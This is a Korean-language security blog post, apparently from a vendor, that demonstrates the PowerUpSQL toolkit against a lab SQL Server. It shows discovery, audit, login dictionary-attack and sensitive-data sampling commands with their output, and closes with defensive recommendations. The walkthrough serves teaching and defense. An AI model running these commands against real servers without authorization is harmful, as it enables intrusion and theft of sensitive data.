PowerUpSQL로 SQL Server 침해하기
Microsoft SQL Server를 처음부터 끝까지 완전히 장악하기 위한 툴킷을 찾고 있다면, 필요한 것은 PowerUpSQL 입니다. PowerShell로 구현되었고 가능한 한 완성도 높은 수준으로 제공됩니다. PowerUpSQL 에는 거의 모든 SQL 시스템을 발견하고, 침해하고, 장악할 수 있는 도구가 있습니다. 한 가지 도구에 전체 킬 체인이 담겨 있습니다. 이 문서에서는 PowerUpSQL을 사용해 중요한 공격 단계를 수행하는 방법을 자세히 설명합니다.
엄선한 관련 콘텐츠:
우리가 사용한 시스템(매우 기본적인 MS SQL 2012 버전)에서는 결과가 매우 엇갈렸다는 점에 유의하세요. 시스템 관리자 권한이 있는 경우와 없는 경우에 결과가 어떻게 달라졌는지 반드시 짚어드리겠습니다. 시스템 수준의 관리자 권한을 확보하는 방법에 대한 팁이 필요하다면, 핵심 AD 인프라를 공격하기 위한 당사의 기법 모음과 AD 서비스 계정 공격 관련 게시글, 잘못 구성된 권한을 악용하는 공격 및 Mimikatz 공격 시리즈를 참고하세요.
디스커버리
도메인에 있는 모든 SQL 서버를 찾으려면 Get-SQLInstanceDomain cmdlet을 사용할 수 있습니다:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
설명:
또한 Get-SQLInstanceLocal 가 있는데, 이는 동일한 종류의 검색(디스커버리)을 수행하되 로컬 인스턴스에만 적용됩니다. 도메인 버전은 더 많은 노이즈를 발생시키지만, 네트워크에서 공격할 수 있는 지점이 한 곳뿐이라면 필요한 작업을 해줄 것입니다. 네트워크를 더 광범위하게 장악했고 신호를 덜 드러내고 싶다면, 각 시스템에서 로컬 버전을 실행하는 것이 요령입니다. 이 경우에는 일반 사용자이든 Domain Admin이든 비슷한 결과를 얻을 수 있었습니다.
대상 선택
대상으로 삼고 싶은 MS SQL 시스템이 몇 대 있다면, 또는 수가 많아서 그중에서 어떤 것들이 가장 좋은 대상인지 정리하려는 중이라면, 각 시스템에 대해 더 자세히 알아보는 것이 좋을 수 있습니다. Get?SQLServerInfo 는 잠재적 대상에 대해 유용한 정보를 요약해 보여줍니다. 좋은 결과를 얻으려면 관리자 권한이 필요했던 것 같습니다.
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows 및 SQL Server 인증
Clustered : 아니오
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : 예
ActiveSessions : 1
이 예시는 PowerUpSQL의 가장 좋은 기능 중 하나인 파이핑(piping) 지원을 보여줍니다. 보시는 것처럼 Get-SQLInstanceLocal의 결과를 Get-SQLServerInfo로 파이프하므로, 한 번의 명령으로 해당 장비의 모든 SQL 인스턴스에 대한 결과를 얻을 수 있습니다. 더 넓게는, 이 기능을 사용하면 복잡한 작업을 빠르게 수행하는 크래킹 스크립트를 쉽게 만들 수 있습니다.
익스플로잇과 민감한 데이터 찾기
Get-SQLServerInfo에서 얻은 정보를 바탕으로 위협과 취약점의 표준 라이브러리를 찾아서, 이 시스템을 악용하는 데 사용할 만한 무언가를 가져올 수도 있습니다. 하지만 그럴 필요는 없습니다. PowerUpSQL에는 또 다른 강력한 비장의 카드가 있습니다. Invoke-SQLAudit cmdlet이 말 그대로 모든 “크래킹”을 대신 수행해 줍니다. 데이터베이스에 침입하고, 민감한 정보를 찾아내며, 이를 휴대할 수 있는 형태로 유출하는 거의 모든 표준 방법을 점검합니다.
이 명령을 실행하면, 먼저 다음과 같은 형태의 결과가 쏟아져 나오는 것을 보게 됩니다:
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
하지만 이건 단지 Invoke-SQLAudit의 시작 단계일 뿐입니다. 모든 권한 수준 검사를 거친 다음에는, 특정하고 알려진 취약점을 하나씩 점검하고, 각 항목에서 발견한 내용을 보고합니다:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : 소유권 체이닝(ownership chaining)이 서버 또는 데이터베이스 수준에서 사용 가능하도록 설정되어 있음을 확인했습니다. 소유권 체이닝을 사용하면
데이터베이스 리소스에 대한 무단 액세스로 이어질 수 있습니다.
Remediation : 영향을 받는 데이터베이스를 구성하여 'is_db_chaining_on' 플래그를 'false'로 설정하세요. 'ALTER DATABASE Database1 SET DB_CHAINING ON'과 유사한 쿼리를 사용해 체이닝을 활성화할 수 있습니다. 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;'와 유사한 쿼리를 사용해 체이닝을 비활성화할 수 있습니다.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : 현재 사용 가능한 익스플로잇이 없습니다.
Details : 데이터베이스 마스터가 소유권 체이닝이 활성화된 상태로 구성되어 있는 것으로 확인되었습니다.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : 소유권 체이닝(ownership chaining)이 서버 또는 데이터베이스 수준에서 사용 가능하도록 설정되어 있음을 확인했습니다. 소유권 체이닝을 사용하면
데이터베이스 리소스에 대한 무단 액세스로 이어질 수 있습니다.
Remediation : 영향을 받는 데이터베이스를 구성하여 'is_db_chaining_on' 플래그를 'false'로 설정하세요. 'ALTER DATABASE Database1 SET DB_CHAINING ON'과 유사한 쿼리를 사용해 체이닝을 활성화할 수 있습니다. 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;'와 유사한 쿼리를 사용해 체이닝을 비활성화할 수 있습니다.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : 현재 사용 가능한 익스플로잇이 없습니다.
Details : 데이터베이스 tempdb가 소유권 체이닝이 활성화된 상태로 구성되어 있는 것으로 확인되었습니다.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
이 cmdlet의 결과를 훑어보는 것은, 대상이 얼마나 취약했는지와 무관하게 SQL Server 익스플로잇에 대한 마스터 클래스처럼 느껴집니다. 게다가 제작자들은 새로운 취약점과 익스플로잇이 발견될 때마다 툴킷을 확장할 수 있도록 열어 두었습니다. 따라서 이 목록이 시간이 지나면서 계속 늘어날 것으로 예상할 수 있습니다.
그것뿐만이 아닙니다. 취약점에 대한 작업이 끝나면, 훔치고 싶을 수도 있는 데이터를 찾아보려고 합니다:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : 민감한 정보를 포함할 수 있는 기본값이 아닌 데이터베이스에서 컬럼이 발견되었습니다.
Remediation : 모든 비밀번호와 senstive 데이터가 마스킹, 해시 처리, 또는 암호화되었는지 확인하세요.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : [REDACTED]에서 가져온 데이터 샘플: "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : 민감한 정보를 포함할 수 있는 기본값이 아닌 데이터베이스에서 컬럼이 발견되었습니다.
Remediation : 모든 비밀번호와 senstive 데이터가 마스킹, 해시 처리, 또는 암호화되었는지 확인하세요.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : [REDACTED]에서 가져온 데이터 샘플: "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
이 결과들(명백한 이유로 약간 가렸습니다)은, 대상에서 발견된 수십 가지 중 겨우 두 가지에 불과합니다. 제작자들은 이 작업을 하면서도 스스로 자사 제품(자체 도구)을 실제로 사용해 검증하고 있습니다. 결과에 명시된 대로, 이 결과는 “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit” cmdlet을 사용해 찾았습니다.
권한 상승
PowerUpSQL을 가지고 실험해 보면서 느낀 아쉬움 중 하나는, 매우 강력한 Invoke-SQLEscalatePriv 가 저희 환경에서는 전혀 작동하지 않았다는 점입니다. 저희는 서로 다른 사용자, 호스트, 실행 유형(로컬 및 원격), 그리고 권한 종류를 모두 시험해 보았지만, 사용자의 권한이 전혀 상승하지 않았습니다. 원인은 아마도 MS SQL 2012 Enterprise Edition의 기본 설정 때문인 것으로 보입니다. 비관리자 사용자로 실행했을 때 저희가 확인한 내용은 다음과 같습니다:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
관리자로 실행하면, 아래와 같은 올바르지만 재미없는 결과가 나옵니다:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : 이미 sysadmin인지 확인하는 중...
VERBOSE: APP02.sbcloudlab.com : 맞으므로 여기서 할 일은 없습니다. :)
PS C:PowerUpSQL-master>
온라인에서 찾아본 바로는, 이 cmdlet은 다른 많은 사용자에게는 작동하는 것처럼 보입니다.
기타 기능
이 도구를 사용해 무엇을 공격 대상으로 삼을지 파악한 다음 그 지점에 집중하는 방식은 쉽게 상상할 수 있습니다. 저희는 스크립트를 작성하고, 파이핑을 적극적으로 활용해 우리가 최대 권한을 가진 지점을 찾아낸 뒤, 해당 위치들 각각에 있는 민감한 데이터로 파고들었을 것입니다.
우리는 늘 데이터 유출(exfiltration)을 염두에 두지만, 어쩌면 목표가 시스템 소유권(system ownership)일 수도 있지 않나요? PowerUpSQL은 그에 대한 방법도 제공하지만, 다음 게시물에서 그 방법을 살펴보겠습니다. 실제로 PowerUpSQL에는 다룰 내용이 너무 많아서 훨씬 더 오래 계속할 수도 있습니다. 다만, 저자들이 이미 자신들의 도구를 잘 설명해 두었으니 여기서 멈추겠습니다.
PowerUpSQL에 대응하기
이제 PowerUpSQL에 대해 방어하기 위해 여러분이 할 수 있는 일을 살펴보겠습니다. 즐거움(?)에 대한 나쁜 소식은 데이터 관점에서는 좋은 소식이었습니다. PowerUpSQL에 있는 많은 기능은 관리자 권한(admin rights)이 필요해 보이지만, 실제로는 SQL 2012 Enterprise Edition의 기본 보안 태세(default security posture)가 이를 처리합니다. 다만 요즘 대부분의 조직에서는 관리자 권한이 너무 쉽게 취약해질(악용될) 수 있어서, 이는 성공을 가로막는 작은 장벽에 불과해 보입니다.
그렇지만 조직을 보호하는 데 도움이 되는, 입증된 몇 가지 단계가 있습니다:
- SQL Server에 대해 최소 권한 원칙(least privilege) 모델을 적용하세요. 로컬 및 도메인 관리자에게도 정말로 SQL 데이터베이스 관리자와 sys 관리자 권한이 필요할까요? 이것이 왜 필요하고 언제 필요해지는지에 대해 명확하고 문서화된 정책을 수립하세요. 이러한 관리 기능을 분리해 유지하면, 하나가 침해되더라도 다른 쪽으로 침해가 이어지는 것을 막을 수 있습니다.
- SQL 시스템 설정에 대한 변경 사항이 보안에 미치는 영향을 조사하세요. 애플리케이션 벤더는 보안 설정을 변경하라고 요구하는 경우가 종종 있는데, 이는 자신들의 절차를 몇 단계 줄이기 위한 목적일 수 있습니다. 그리고 그 몇 단계는 안전과 침해의 차이를 만들 수 있습니다. 확인하는 한 가지 방법은 PowerUpSQL 감사 테스트 시스템에 이러한 변경을 적용하기 전과 후에 실행한 뒤 결과를 비교해 보는 것입니다.
- 모든 비밀번호와 민감한 데이터가 마스킹, 해시 또는 암호화되도록 하세요. 악당들이 데이터를 노리고 있다면, 이것이 그들이 데이터를 얻지 못하게 막는 가장 좋은 방법입니다. 시스템은 항상 해킹될 수 있지만, 적절한 암호화는 가장 정교한 적을 제외한 대부분에게는 거대한 방벽이 됩니다. 그런 수준의 공격자가 데이터를 노리고 있다면, 그보다 더 높은 차원의 우려가 존재합니다.
- 가능한 한 데이터베이스 소유자 체이닝(database ownership chaining)과 같은 위험한 구성을 피하세요. 설정 변경과 마찬가지로, 이러한 데이터베이스 수준의 기능은 개발자들의 시간을 조금이라도 아끼기 위해서만 사용되는 경우가 많습니다. 이런 구성을 검토할 때는 최소한의 위험 고려가 이루어지도록 하세요. 대개 가장 어려운 부분은, 그런 대화가 어디에서 언제 이루어지고 있으며 그 대화를 어떻게 영향을 줄 수 있는지 파악하는 것입니다.
- 시스템이 가능한 한 최신 상태를 유지하도록 일정에 맞춰 패치를 적용하세요 . 이 조언은 보안 분야에서 가장 진부한 것일지도 모르지만 사실입니다. 여기서 테스트하는 취약점의 상당수는 적절한 패치로 해결되었을 가능성이 큽니다. 패치는 모든 보안 문제를 해결해주지는 않지만, 상황이 나빠져서 누락된 패치 때문이었을 수도(또는 실제로 그랬다는) 사실을 알게 될 때 느끼는 큰 불안감을 예방해줍니다.
Netwrix가 도와드릴 수 있는 방법
데이터베이스에는 종종 매우 민감한 정보가 포함되어 있어 공격자에게 주요 표적이 됩니다. 강력한 보안을 위해 데이터베이스 관리자는 온프레미스 데이터센터와 클라우드 전반에 걸쳐 전체 SQL 범위(SQL footprint)에 대한 통찰이 필요합니다. Netwrix StealthAUDIT SQL 데이터베이스가 존재하는 위치, 해당 데이터베이스에 누가 접근 권한을 가지고 있는지, 그 권한을 어떻게 획득했는지, 누가 또는 무엇이 접근 권한을 활용하고 있는지, 민감한 정보가 저장된 위치, 그리고 각 데이터베이스가 어떻게 구성되었는지를 자동으로 파악해 줍니다.
공유하기
Entra ID 애플리케이션 권한 악용—작동 방식과 방어 전략
AdminSDHolder 수정 — 작동 방식과 방어 전략
AS-REP Roasting 공격 — 작동 방식과 방어 전략
Hafnium 공격—작동 방식과 방어 전략
DCSync 공격 해설: Active Directory 보안에 대한 위협
패스-더-해시(PtH) 공격 이해하기
Golden Ticket 공격이란? 작동 방식, 탐지 및 대응(예방)
gMSA 악용 공격과 Golden gMSA 공격 설명
DCShadow 공격 – 작동 방식, 실제 사례 및 방어 전략
ChatGPT 프롬프트 인젝션: 위험 이해, 사례 및 예방
NTDS.dit 추출 공격 이해하기
Kerberoasting 공격 – 작동 원리와 방어 전략
패스-더-티켓(Pass-the-Ticket) 공격 설명: 위험, 예시 및 방어 전략
비밀번호 스프레이 공격 이해하기
평문 비밀번호 추출(Plaintext Password Extraction) 이해하기: 위험, 예시 및 예방
Zerologon 취약점 설명: 위험, 악용 방법 및 대응 방안
랜섬웨어 공격에 대한 완전한 가이드
Skeleton Key 공격: 작동 원리와 탐지 방법
Lateral Movement: 그것이 무엇인지, 작동 방식, 그리고 예방 방법
중간자(MITM) 공격: 무엇인지, 그리고 어떻게 예방할 수 있는가
Silver Ticket 공격
4가지 서비스 계정 공격과 이를 방어하는 방법
공격자에게 PowerShell이 특히 인기 있는 이유는 무엇일까요?
업무에 악성코드 공격이 영향을 미치지 않도록 예방하는 방법
Credential Stuffing이란 무엇인가요?
마우스재킹 공격이란 무엇이며, 이에 대응하는 방법
Security Support Provider(SSP)를 사용한 자격 증명 탈취
Pass-the-Cookie 공격으로 MFA 우회하기
Golden SAML 공격을 위한 완전한 가이드